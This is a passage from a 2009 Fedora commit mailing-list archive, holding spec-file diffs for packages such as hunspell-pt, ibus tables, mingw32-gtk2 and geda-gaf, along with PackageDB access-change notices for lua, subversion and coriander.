+ApplyPatch acpi-ec-merge-irq-and-poll-modes.patch
+ApplyPatch acpi-ec-use-burst-mode-only-for-msi-notebooks.patch
+ApplyPatch acpi-ec-restart-command-even-if-no-interrupts-from-ec.patch
 
 # Various low-impact patches to aid debugging.
 ApplyPatch linux-2.6-debug-sizeof-structs.patch
@@ -2012,6 +2020,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 06 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-74
+- ACPI EC bug fixes taken from kernel 2.6.32 (#492699, #525681)
+
 * Mon Oct 05 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-73
 - Linux 2.6.30.9
 



From caolanm at fedoraproject.org  Tue Oct  6 07:34:03 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue,  6 Oct 2009 07:34:03 +0000 (UTC)
Subject: rpms/hunspell-pt/devel .cvsignore, 1.19, 1.20 hunspell-pt.spec, 1.34,
	1.35 sources, 1.21, 1.22
Message-ID: <20091006073403.66F9711C00C1@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hunspell-pt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21995

Modified Files:
	.cvsignore hunspell-pt.spec sources 
Log Message:
latest pt_BR version


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-pt/devel/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	3 Jul 2009 19:47:22 -0000	1.19
+++ .cvsignore	6 Oct 2009 07:34:02 -0000	1.20
@@ -1,2 +1,2 @@
 hunspell-pt_PT-20090309.tar.gz
-pt_BR-2009-07-02AOC.zip
+pt_BR-2009-10-04AOC.zip


Index: hunspell-pt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-pt/devel/hunspell-pt.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- hunspell-pt.spec	25 Jul 2009 02:38:01 -0000	1.34
+++ hunspell-pt.spec	6 Oct 2009 07:34:02 -0000	1.35
@@ -1,10 +1,10 @@
 Name: hunspell-pt
 Summary: Portuguese hunspell dictionaries
-%define upstreamid 20090702
+%define upstreamid 20091004
 Version: 0.%{upstreamid}
 Release: 3%{?dist}
 Source0: http://natura.di.uminho.pt/download/sources/Dictionaries/hunspell/hunspell-pt_PT-20090309.tar.gz
-Source1: http://www.broffice.org/files/pt_BR-2009-07-02AOC.zip
+Source1: http://www.broffice.org/files/pt_BR-2009-10-04AOC.zip
 Group: Applications/Text
 URL: http://www.broffice.org/verortografico/baixar
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -46,6 +46,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/myspell/*
 
 %changelog
+* Tue Oct 06 2009 Caolan McNamara <caolanm at redhat.com> - 0.20091004-1
+- latest pt_BR version
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.20090702-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-pt/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	3 Jul 2009 19:47:23 -0000	1.21
+++ sources	6 Oct 2009 07:34:02 -0000	1.22
@@ -1,2 +1,2 @@
 ce4a36a835baa32fc358f578d5529832  hunspell-pt_PT-20090309.tar.gz
-26892e56d62c891aef546a928bd46b61  pt_BR-2009-07-02AOC.zip
+0170eb1b3dd06130b43a80cca60d6d84  pt_BR-2009-10-04AOC.zip



From caolanm at fedoraproject.org  Tue Oct  6 07:40:15 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue,  6 Oct 2009 07:40:15 +0000 (UTC)
Subject: rpms/hunspell-pt/devel hunspell-pt.spec,1.35,1.36
Message-ID: <20091006074015.869C711C02A2@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hunspell-pt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23246

Modified Files:
	hunspell-pt.spec 
Log Message:
latest pt_BR version


Index: hunspell-pt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-pt/devel/hunspell-pt.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- hunspell-pt.spec	6 Oct 2009 07:34:02 -0000	1.35
+++ hunspell-pt.spec	6 Oct 2009 07:40:15 -0000	1.36
@@ -19,7 +19,7 @@ Portuguese hunspell dictionaries.
 %prep
 %setup -q -n hunspell-pt_PT-20090309
 unzip -q -o %{SOURCE1}
-for i in README_pt_BR.TXT README_pt_PT.txt; do
+for i in README_pt_BR-OOO2x.TXT README_pt_PT.txt; do
   if ! iconv -f utf-8 -t utf-8 -o /dev/null $i > /dev/null 2>&1; then
     iconv -f ISO-8859-1 -t UTF-8 $i > $i.new
     touch -r $i $i.new
@@ -42,7 +42,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README_pt_BR.TXT README_pt_PT.txt COPYING
+%doc README_pt_BR-OOO2x.TXT README_pt_PT.txt COPYING
 %{_datadir}/myspell/*
 
 %changelog



From cchance at fedoraproject.org  Tue Oct  6 07:44:01 2009
From: cchance at fedoraproject.org (cchance)
Date: Tue,  6 Oct 2009 07:44:01 +0000 (UTC)
Subject: rpms/ibus-table-erbi/F-11 ibus-table-erbi.spec,1.7,1.8
Message-ID: <20091006074401.D7F4A11C00C1@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table-erbi/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23886

Modified Files:
	ibus-table-erbi.spec 
Log Message:
rebuilt


Index: ibus-table-erbi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-erbi/F-11/ibus-table-erbi.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- ibus-table-erbi.spec	6 Oct 2009 07:00:22 -0000	1.7
+++ ibus-table-erbi.spec	6 Oct 2009 07:44:01 -0000	1.8
@@ -1,6 +1,6 @@
 Name:       ibus-table-erbi
 Version:    1.2.0.20090901
-Release:    1%{?dist}
+Release:    2%{?dist}
 Summary:    Erbi table(s) for IBus-Table
 License:    GPLv2+
 Group:      System Environment/Libraries
@@ -40,10 +40,15 @@ cd %{_datadir}/ibus-table/tables/
 %dir %{_datadir}/ibus-table
 %dir %{_datadir}/ibus-table/icons
 %dir %{_datadir}/ibus-table/tables
-%verify(not md5 size mtime) %{_datadir}/ibus-table/tables/erbi_qs.db
+%{_datadir}/ibus-table/tables/erbi.db
+%{_datadir}/ibus-table/tables/erbi_qs.db
 %{_datadir}/ibus-table/icons/erbi-qs.svg
+%{_datadir}/ibus-table/icons/erbi.svg
 
 %changelog
+* Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090901-2.fc11
+- Rebuilt.
+
 * Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090901-1.fc11
 - Rebuilt with IBus 1.2.
 



From cchance at fedoraproject.org  Tue Oct  6 07:47:50 2009
From: cchance at fedoraproject.org (cchance)
Date: Tue,  6 Oct 2009 07:47:50 +0000 (UTC)
Subject: rpms/ibus-table-yong/F-11 .cvsignore, 1.2, 1.3 ibus-table-yong.spec,
	1.4, 1.5 sources, 1.2, 1.3
Message-ID: <20091006074750.6887F11C00C1@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table-yong/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24361

Modified Files:
	.cvsignore ibus-table-yong.spec sources 
Log Message:
Rebuilt for IBus 1.2.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-yong/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	7 May 2009 02:20:23 -0000	1.2
+++ .cvsignore	6 Oct 2009 07:47:50 -0000	1.3
@@ -1 +1 @@
-ibus-table-yong-1.1.0.20090422.tar.gz
+ibus-table-yong-1.2.0.20090717.tar.gz


Index: ibus-table-yong.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-yong/F-11/ibus-table-yong.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- ibus-table-yong.spec	3 Jul 2009 06:07:32 -0000	1.4
+++ ibus-table-yong.spec	6 Oct 2009 07:47:50 -0000	1.5
@@ -1,7 +1,7 @@
 Name:       ibus-table-yong
-Version:    1.1.0.20090422
-Release:    7%{?dist}
-Summary:    Yong input methods for ibus-table
+Version:    1.2.0.20090717
+Release:    1%{?dist}
+Summary:    Yong table(s) for IBus-Table
 License:    GPLv3+
 Group:      System Environment/Libraries
 URL:        http://code.google.com/p/ibus/
@@ -10,13 +10,11 @@ Source0:    http://ibus.googlecode.com/f
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:  noarch
 
-Requires:   ibus >= 1.1.0.20090609, ibus-table >= 1.1.0.20090610
-Requires(post):   ibus >= 1.1.0.20090609, ibus-table >= 1.1.0.20090610
-BuildRequires: ibus >= 1.1.0.20090609, ibus-table >= 1.1.0.20090610
-BuildRequires:  gettext-devel >= 0.17, automake >= 1.10.1
+Requires:   ibus-table >= 1.2
+BuildRequires:   ibus-table >= 1.2, gettext-devel >= 0.17, automake >= 1.10.1
 
 %description
-The package contains Yong input methods for Table engine of IBus platform. 
+The package contains Yong table(s) for IBus-Table.
 
 %prep
 %setup -q
@@ -43,10 +41,13 @@ cd %{_datadir}/ibus-table/tables/
 %dir %{_datadir}/ibus-table
 %dir %{_datadir}/ibus-table/icons
 %dir %{_datadir}/ibus-table/tables
-%verify(not md5 size mtime) %{_datadir}/ibus-table/tables/yong-ibus.db
+%{_datadir}/ibus-table/tables/yong-ibus.db
 %{_datadir}/ibus-table/icons/yong.png
 
 %changelog
+* Tue Oct 06 2009 Caius 'kaio' Chance <k at kaio.me> - 1.1.0.20090717-1.fc11
+- Rebuilt with IBus 1.2.
+
 * Fri Jul 03 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.1.0.20090422-7.fc11
 - Fixed index creation with correct work directory.
 - Reverted table name as IBus-Table could load table with hyphen file name.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-yong/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	7 May 2009 02:20:23 -0000	1.2
+++ sources	6 Oct 2009 07:47:50 -0000	1.3
@@ -1 +1 @@
-3d8a91a171e16c6eac4c9c2f2b3ac218  ibus-table-yong-1.1.0.20090422.tar.gz
+16e71911cd450265e7a0ffcd4244b5ec  ibus-table-yong-1.2.0.20090717.tar.gz



From pkgdb at fedoraproject.org  Tue Oct  6 08:28:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:28:52 +0000
Subject: [pkgdb] subversion: sunguk has requested watchcommits
Message-ID: <20091006082852.40C9910F890@bastion2.fedora.phx.redhat.com>

sunguk has requested the watchcommits acl on subversion (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/subversion



From pkgdb at fedoraproject.org  Tue Oct  6 08:28:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:28:59 +0000
Subject: [pkgdb] subversion: sunguk has given up watchcommits
Message-ID: <20091006082900.189E110F88E@bastion2.fedora.phx.redhat.com>

sunguk has given up the watchcommits acl on subversion (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/subversion



From pkgdb at fedoraproject.org  Tue Oct  6 08:33:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:33:44 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083344.1119D10F88E@bastion2.fedora.phx.redhat.com>

timn has set the watchbugzilla acl on lua (Fedora devel) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:33:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:33:46 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083346.182B510F892@bastion2.fedora.phx.redhat.com>

timn has set the watchcommits acl on lua (Fedora devel) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:33:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:33:47 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083348.27DAD10F871@bastion2.fedora.phx.redhat.com>

timn has set the commit acl on lua (Fedora devel) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:07 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083407.5732A10F892@bastion2.fedora.phx.redhat.com>

timn has set the watchbugzilla acl on lua (Fedora 10) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:08 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083408.8393D10F8A2@bastion2.fedora.phx.redhat.com>

timn has set the watchcommits acl on lua (Fedora 10) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:08 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083409.24DB710F8A8@bastion2.fedora.phx.redhat.com>

timn has set the commit acl on lua (Fedora 10) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:11 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083411.7617610F88E@bastion2.fedora.phx.redhat.com>

timn has set the watchbugzilla acl on lua (Fedora 11) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:13 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083413.77E9E10F8AC@bastion2.fedora.phx.redhat.com>

timn has set the watchcommits acl on lua (Fedora 11) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:17 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083417.9298410F894@bastion2.fedora.phx.redhat.com>

timn has set the commit acl on lua (Fedora 11) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:19 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083419.D61F610F8A2@bastion2.fedora.phx.redhat.com>

timn has set the watchbugzilla acl on lua (Fedora 12) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:20 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083420.1DD5D10F8A8@bastion2.fedora.phx.redhat.com>

timn has set the watchcommits acl on lua (Fedora 12) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:25 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083425.3DA0410F890@bastion2.fedora.phx.redhat.com>

timn has set the commit acl on lua (Fedora 12) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:31 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083431.1352410F894@bastion2.fedora.phx.redhat.com>

timn has set the approveacls acl on lua (Fedora devel) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:35 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083435.2832710F84D@bastion2.fedora.phx.redhat.com>

timn has set the approveacls acl on lua (Fedora 10) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:37 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083437.53A9E10F890@bastion2.fedora.phx.redhat.com>

timn has set the approveacls acl on lua (Fedora 11) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:34:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:34:38 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091006083438.D233010F895@bastion2.fedora.phx.redhat.com>

timn has set the approveacls acl on lua (Fedora 12) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Tue Oct  6 08:35:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:35:57 +0000
Subject: [pkgdb] coriander had acl change status
Message-ID: <20091006083557.DDEF410F871@bastion2.fedora.phx.redhat.com>

timn has set the watchbugzilla acl on coriander (Fedora 11) to Approved for jrowens

To make changes to this package see:
  /pkgdb/packages/name/coriander



From pkgdb at fedoraproject.org  Tue Oct  6 08:35:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 08:35:58 +0000
Subject: [pkgdb] coriander had acl change status
Message-ID: <20091006083558.C200C10F892@bastion2.fedora.phx.redhat.com>

timn has set the watchcommits acl on coriander (Fedora 11) to Approved for jrowens

To make changes to this package see:
  /pkgdb/packages/name/coriander



From epienbro at fedoraproject.org  Tue Oct  6 09:06:49 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Tue,  6 Oct 2009 09:06:49 +0000 (UTC)
Subject: rpms/mingw32-gtk2/F-12 .cvsignore, 1.12, 1.13 mingw32-gtk2.spec,
	1.20, 1.21 sources, 1.12, 1.13
Message-ID: <20091006090649.8AEB411C00C1@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12845/F-12

Modified Files:
	.cvsignore mingw32-gtk2.spec sources 
Log Message:
Update to 2.18.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	1 Oct 2009 05:19:46 -0000	1.12
+++ .cvsignore	6 Oct 2009 09:06:49 -0000	1.13
@@ -1 +1 @@
-gtk+-2.18.1.tar.bz2
+gtk+-2.18.2.tar.bz2


Index: mingw32-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/mingw32-gtk2.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- mingw32-gtk2.spec	1 Oct 2009 05:19:46 -0000	1.20
+++ mingw32-gtk2.spec	6 Oct 2009 09:06:49 -0000	1.21
@@ -6,7 +6,7 @@
 %define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-gtk2
-Version:        2.18.1
+Version:        2.18.2
 Release:        1%{?dist}
 Summary:        MinGW Windows Gtk2 library
 
@@ -337,6 +337,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.2-1
+- Update to 2.18.2
+
 * Thu Oct  1 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.1-1
 - Update to 2.18.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	1 Oct 2009 05:19:46 -0000	1.12
+++ sources	6 Oct 2009 09:06:49 -0000	1.13
@@ -1 +1 @@
-d6e0f982a84d393cd11e2ea90a9e3775  gtk+-2.18.1.tar.bz2
+9477986b58d7ee5e559b96e7a124bead  gtk+-2.18.2.tar.bz2



From epienbro at fedoraproject.org  Tue Oct  6 09:06:49 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Tue,  6 Oct 2009 09:06:49 +0000 (UTC)
Subject: rpms/mingw32-gtk2/devel .cvsignore, 1.12, 1.13 mingw32-gtk2.spec,
	1.20, 1.21 sources, 1.12, 1.13
Message-ID: <20091006090649.E968B11C00C1@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gtk2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12845/devel

Modified Files:
	.cvsignore mingw32-gtk2.spec sources 
Log Message:
Update to 2.18.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	1 Oct 2009 05:19:46 -0000	1.12
+++ .cvsignore	6 Oct 2009 09:06:49 -0000	1.13
@@ -1 +1 @@
-gtk+-2.18.1.tar.bz2
+gtk+-2.18.2.tar.bz2


Index: mingw32-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/mingw32-gtk2.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- mingw32-gtk2.spec	1 Oct 2009 05:19:46 -0000	1.20
+++ mingw32-gtk2.spec	6 Oct 2009 09:06:49 -0000	1.21
@@ -6,7 +6,7 @@
 %define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-gtk2
-Version:        2.18.1
+Version:        2.18.2
 Release:        1%{?dist}
 Summary:        MinGW Windows Gtk2 library
 
@@ -337,6 +337,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.2-1
+- Update to 2.18.2
+
 * Thu Oct  1 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.1-1
 - Update to 2.18.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	1 Oct 2009 05:19:46 -0000	1.12
+++ sources	6 Oct 2009 09:06:49 -0000	1.13
@@ -1 +1 @@
-d6e0f982a84d393cd11e2ea90a9e3775  gtk+-2.18.1.tar.bz2
+9477986b58d7ee5e559b96e7a124bead  gtk+-2.18.2.tar.bz2



From chitlesh at fedoraproject.org  Tue Oct  6 09:36:59 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Tue,  6 Oct 2009 09:36:59 +0000 (UTC)
Subject: rpms/geda-gaf/F-10 geda-gaf.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006093659.B391C11C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/geda-gaf/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17439/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	geda-gaf.spec import.log 
Log Message:
1.6.0


--- NEW FILE geda-gaf.spec ---
# As from 1.5, all the submodules of geda-gaf are packaged by upstream into one
# big tarball. This requires a new fedora package review and obsoleting the old 
# geda-* packages fedora was providing, which explains the use of Epoch.

# Date : 31 August 2009, Chitlesh Goorah
%define         snap   20091004

Name:           geda-gaf
Epoch:          1
Version:        1.6.0
Release:        1%{?dist}
Summary:        Design Automation toolkit for electronic design

Group:          Applications/Engineering
License:        GPLv2
URL:            http://www.geda.seul.org
Source0:        http://geda.seul.org/devel/v1.6/%{version}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  desktop-file-utils gettext-devel gawk intltool
BuildRequires:  gd-devel libtool-ltdl-devel shared-mime-info

Requires:       geda-docs      = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gattrib   = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gschem    = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gnetlist  = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gsymcheck = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-utils     = %{?epoch:%{epoch}:}%{version}-%{release}


%description
The GPL Electronic Design Automation (gEDA) project has produced and
continues working on a full GPL'd suite and toolkit of Electronic
Design Automation tools. These tools are used for electrical circuit
design, schematic capture, simulation, prototyping, and production.

Currently, the gEDA project offers a mature suite of free software
applications for electronics design, including schematic capture,
attribute management, bill of materials (BOM) generation, netlisting
into over 20 netlist formats, analog and digital simulation, and
printed circuit board (PCB) layout.


%package      -n  libgeda
Summary:          Libraries for the gEDA project
Group:            Development/Libraries
BuildRequires:    gtk2-devel
BuildRequires:    guile-devel
Requires(post):   /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description  -n  libgeda
This package contains libgeda, the library needed by gEDA applications.


%package      -n  libgeda-devel
Summary:          Development files for the libgeda library
Group:            Development/Libraries
Requires:         libgeda          = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:         gtk2-devel
Requires:         guile-devel
Requires:         pkgconfig

%description  -n  libgeda-devel
Development files for libgeda library


%package      -n  geda-symbols
Summary:          Electronic symbols for gEDA
Group:            Applications/Engineering
BuildArch:        noarch
BuildRequires:    transfig

%description  -n  geda-symbols
This package contains a bunch of symbols of electronic devices
used by gschem, the gEDA project schematic editor.


%package      -n  geda-docs
Summary:          Documentation and Examples for gEDA
Group:            Applications/Engineering
BuildArch:        noarch
Requires:         geda-symbols
Provides:         geda-examples     = %{?epoch:%{epoch}:}%{version}-%{release}
Obsoletes:        geda-examples     < 20090830-2

%description  -n  geda-docs
This package contains documentation and examples for the gEDA project.


%package      -n  geda-gattrib
Summary:          Attribute editor for gEDA
Group:            Applications/Engineering
Requires:         geda-symbols

%description  -n  geda-gattrib
Gattrib is gEDA's attribute editor. It reads a set of gschem .sch files
(schematic files), and creates a spreadsheet showing all components in
rows, with the associated component attributes listed in the columns.
It allows the user to add, modify, or delete component attributes outside
of gschem, and then save the .sch files back out. When it is completed,
it will allow the user to edit attributes attached to components, nets,
and pins. (Currently, only component attribute editing is implemented;
pin attributes are displayed only, and net attributes are TBD.)


%package      -n  geda-gnetlist
Summary:          Netlister for the gEDA project
Group:            Applications/Engineering
BuildRequires:    libstroke-devel
Requires:         geda-symbols

%description  -n  geda-gnetlist
Gnetlist generates netlists from schematics drawn with gschem
(the gEDA schematic editor). Possible output formats are:
- native
- tango
- spice
- allegro
- PCB
- verilog
and others.


%package      -n  geda-gschem
Summary:          Electronics schematics editor
Group:            Applications/Engineering
Requires(pre):    libgeda = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:         geda-symbols
Requires:         geda-docs

%description  -n  geda-gschem
Gschem is an electronics schematic editor. It is part of the gEDA project.


%package      -n  geda-gsymcheck
Summary:          Symbol checker for electronics schematics editor
Group:            Applications/Engineering
Requires:         geda-symbols

%description  -n  geda-gsymcheck
Gsymcheck is a utility to check symbols for gschem.
It is part of the gEDA project.


%package      -n  geda-utils
Summary:          Several utilities for the gEDA project
Group:            Applications/Engineering
Requires:         geda-symbols
%if 0%{?fedora} > 6
BuildRequires:    perl-libs
%endif


%description  -n  geda-utils
Several utilities for the gEDA project.


%prep
%setup -q

# Fixing rpmlints wrong-file-end-of-line-encoding
for f in `find gnetlist/tests -name \*.net -or -name \*.pads | sort` ; do
   echo -n -e "... Fixing the end-of-line encodings of $f  \t"
   sed -i.bak -e 's|\r||g' $f
   touch -r $f.bak $f
   %{__rm} -f $f.bak
   echo "done"
done

# rpmlint zero-length
%{__rm} -f utils/tests/gxyrs/outputs/*-error
%{__rm} -f gnetlist/tests/common/outputs/drc/multiequal-output.net
%{__rm} -f gnetlist/tests/common/outputs/futurenet2/SlottedOpamps-output.net
